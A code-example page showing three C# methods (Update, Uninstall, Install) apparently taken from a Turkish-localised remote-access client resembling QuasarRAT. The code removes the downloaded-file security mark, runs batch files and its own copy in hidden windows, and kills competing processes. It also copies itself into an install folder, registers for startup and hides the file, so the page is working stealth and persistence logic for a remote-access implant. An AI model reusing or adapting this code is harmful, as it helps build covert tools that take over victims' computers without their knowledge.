Пример #1
0
        public static void Update(Client client, string newFilePath)
        {
            try
            {
                DosyaYardımcısı.DeleteZoneIdentifier(newFilePath);

                var bytes = File.ReadAllBytes(newFilePath);
                if (!DosyaYardımcısı.ExeValidmiKardeş(bytes))
                {
                    throw new Exception("Pe Dosyası Bulunamadı");
                }

                var batchFile = DosyaYardımcısı.GüncellemeBatı(newFilePath, Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Güncelleme Bat Dosyası Oluşturulamadı.");
                }

                var startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);

                if (Settings.STARTUP)
                {
                    Başlangıç.RemoveFromStartup();
                }

                Program.ConnectClient.Exit();
            }
            catch (Exception ex)
            {
                NativeMethods.DeleteFile(newFilePath);
                new SetStatus(string.Format("Güncelleme Başarısız Oldu: {0}", ex.Message)).Execute(client);
            }
        }
Пример #2
0
        public static void Uninstall(Client client)
        {
            try
            {
                RemoveExistingLogs();

                if (Settings.STARTUP)
                {
                    Başlangıç.RemoveFromStartup();
                }

                if (!DosyaYardımcısı.OkunabilirTemizle(ClientVerisi.CurrentPath))
                {
                    throw new Exception("Could not clear read-only attribute");
                }

                string batchFile = DosyaYardımcısı.KaldırmaBatı(Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Could not create uninstall-batch file");
                }

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);

                Program.ConnectClient.Exit();
            }
            catch (Exception ex)
            {
                new Paketler.ClientPaketleri.SetStatus(string.Format("Kaldırma Başarısız: {0}", ex.Message)).Execute(client);
            }
        }
Пример #3
0
        public static void Install(Client client)
        {
            var isKilled = false;

            // klasör oluşturma
            if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
            {
                try
                {
                    Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
                }
                catch (Exception)
                {
                    return;
                }
            }

            // silme
            if (File.Exists(ClientVerisi.InstallPath))
            {
                try
                {
                    File.Delete(ClientVerisi.InstallPath);
                }
                catch (Exception ex)
                {
                    if (ex is IOException || ex is UnauthorizedAccessException)
                    {
                        // eğer mutex değişirse eski işlemi öldürme
                        var foundProcesses =
                            Process.GetProcessesByName(Path.GetFileNameWithoutExtension(ClientVerisi.InstallPath));
                        var myPid = Process.GetCurrentProcess().Id;
                        foreach (var prc in foundProcesses)
                        {
                            if (prc.Id == myPid)
                            {
                                continue;
                            }
                            prc.Kill();
                            isKilled = true;
                        }
                    }
                }
            }

            if (isKilled)
            {
                Thread.Sleep(5000);
            }

            try
            {
                File.Copy(ClientVerisi.CurrentPath, ClientVerisi.InstallPath, true);
            }
            catch (Exception)
            {
                return;
            }

            if (Settings.STARTUP)
            {
                if (!Başlangıç.AddToStartup())
                {
                    ClientVerisi.AddToStartupFailed = true;
                }
            }

            if (Settings.HIDEFILE)
            {
                try
                {
                    File.SetAttributes(ClientVerisi.InstallPath, FileAttributes.Hidden);
                }
                catch (Exception)
                {
                }
            }

            DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.InstallPath);

            //dosya başlatma
            var startInfo = new ProcessStartInfo
            {
                WindowStyle     = ProcessWindowStyle.Hidden,
                CreateNoWindow  = true,
                UseShellExecute = false,
                FileName        = ClientVerisi.InstallPath
            };

            try
            {
                Process.Start(startInfo);
            }
            catch (Exception)
            {
            }
        }